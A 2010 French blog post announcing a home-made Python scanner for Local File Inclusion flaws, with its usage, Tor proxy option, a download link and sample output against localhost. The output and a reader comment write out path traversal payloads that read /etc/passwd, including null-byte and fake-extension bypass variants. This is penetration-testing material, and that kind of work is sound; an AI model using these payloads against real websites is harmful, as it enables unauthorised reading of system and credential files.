SYN, SYN-ACK, ACK …

Steal This Blog

LFI Scanner

octobre 15th, 2010 by Corbier

L’utilisation de scripting et d’outil développé sur mesure, est courant dans le domaine du test d’intrusion.

Afin de répondre à un besoin spécifique et surtout pour le faire la main en python, j’ai développé un scanner de vulnérabilité de type LFI (Local File Inclusion). Ce scanner est développé en python, pour sa portabilité et sa facilité d’écriture. Les fonctionnalités sont encore sommaire mais elles ne demandent qu’a être améliorées (selon le temps que j’aurai de dispo, si vous n’avez rien a faire ?). Les dépendances sont quasiment toutes satisfaites mise à part optparse qu’il vous faudra installer.

J’ai embarqué une version de BeautifullSoup car il subsiste un bug lors du « parsing » des pages m’obligeant à utiliser une version inférieur à la version stable. Le scanner utilise donc une ancienne version de BeautilFullSoup cela le temps de corriger le bug. La lib termcolor n’est pas indispensable, mais elle apporte un gain en lecture.

Le tools fonctionne de la manière suivante.

root@corbier-laptop:/home/corbier/Dropbox/python/LfiScan# ./main.py -h

Usage: main.py -h for help

Options:

-h, –help show this help message and exit

-U HOST, –url=HOST Set url to scan http://exemple.com/

-P PROXY, –proxy=PROXY

Set proxy localhost:9050 for Tor

Le support de tor est complet, j’ai donc utiliser la lib pycurl car urllib et urllib2 ne supporte pas les proxy sock. Voici l’utilisation du scanner dans un exemple :

root@corbier-laptop:/home/corbier/Dropbox/python/LfiScan# ./main.py -U http://127.0.0.1/

+[Crawler]+ Trying to get page ==> http://127.0.0.1/

+[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test

+[Crawler]+ Trying to get page ==> http://127.0.0.1/

+[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test&t=o&d=k

+[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp

+[Crawler]+ Trying to get page ==> w3mhelp-w3m_ja.html

+[Crawler]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=test&x=p

+[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp

+[Crawler]+ Mail Found ==> aito@fw.ipsj.or.jp

+[Main]+ Trying LFI attack !!!

+[Injector]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd&t=../../../../../../../../etc/passwd&d=../../../../../../../../etc/passwd&x=../../../../../../../../etc/passwd&

+[Injector]+ Trying to get page ==> http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd%00&t=../../../../../../../../etc/passwd%00&d=../../../../../../../../etc/passwd%00&x=../../../../../../../../etc/passwd%00&

+[Injector]+ LFI dectected !!! on http://127.0.0.1/40ff8f74f40925e361f150ca6999ddeb.php?pages=../../../../../../../../etc/passwd%00&t=../../../../../../../../etc/passwd%00&d=../../../../../../../../etc/passwd%00&x=../../../../../../../../etc/passwd%00&

Ici le scanner commence par « crawler » la page principale du site . Ensuite, il enregistre tout les liens de la page dans une liste et enregistre les paramètres et scripts dans un dictionnaire. Les liens seront scannés si et seulement si ils n’ont pas déjà été scannés. Les scripts seront scannés si il y a apparition d’une nouvelle variable (cela évite que le scanner tourne en boucle sur les forums). Une fois que le site est crawlé dans son intégralité, le scanner va se constituer une série de url pour tenter d’exploiter une potentiel LFI.

La méthodologie n’est pas parfaite mais c’est la plus rapide à mettre en œuvre que j’ai trouvé.

Vous pouvez télécharger le scanner ici.

http://data.stealthisblog.fr/tools/LfiScan.zip

Il est vous est fourni sous la licence JMB (Je M’en Branle) Vous pouvez le garder pour vous, le redistribuer, le donner à votre chien, à votre grand mère.

Toutes les remarques bonnes ou mauvaises sont les bienvenues. : )

Enjoy !

Creative Commons License
The LFI Scanner by Steal This Blog, unless otherwise expressly stated, is licensed under a Creative Commons Attribution-Share Alike 2.0 France License.
Filed under Non classé having 3 Comments »

3 Responses

  1. Les tweets qui mentionnent Steal This Blog » Blog Archive » LFI Scanner -- Topsy.com Says:

    [...] Ce billet était mentionné sur Twitter par zeewox, Corbier. Corbier a dit: http://is.gd/g2QAl New post stealthisblog.fr [...]

  2. Ryan Dewhurst (@ethicalhack3r) Says:

    Bonjour,

    I’ve not tried your script yet but looking at the payloads in the output above I can’t see a file extension after the NULL byte. I’ve found putting a file extension on bypasses some very simple input sanitisation checks.

    ../../../../../../../../etc/passwd%00.jpg
    ../../../../../../../../etc/passwd%00.txt

    Everything after the NULL byte gets ignored anyway. It should reduce the amount of False Negatives.

    Ryan

  3. Ryan Dewhurst (@ethicalhack3r) Says:

    And… I’ve just realised how old this blog post is…. :-P

Leave a Comment

Please note: Comment moderation is enabled and may delay your comment. There is no need to resubmit your comment.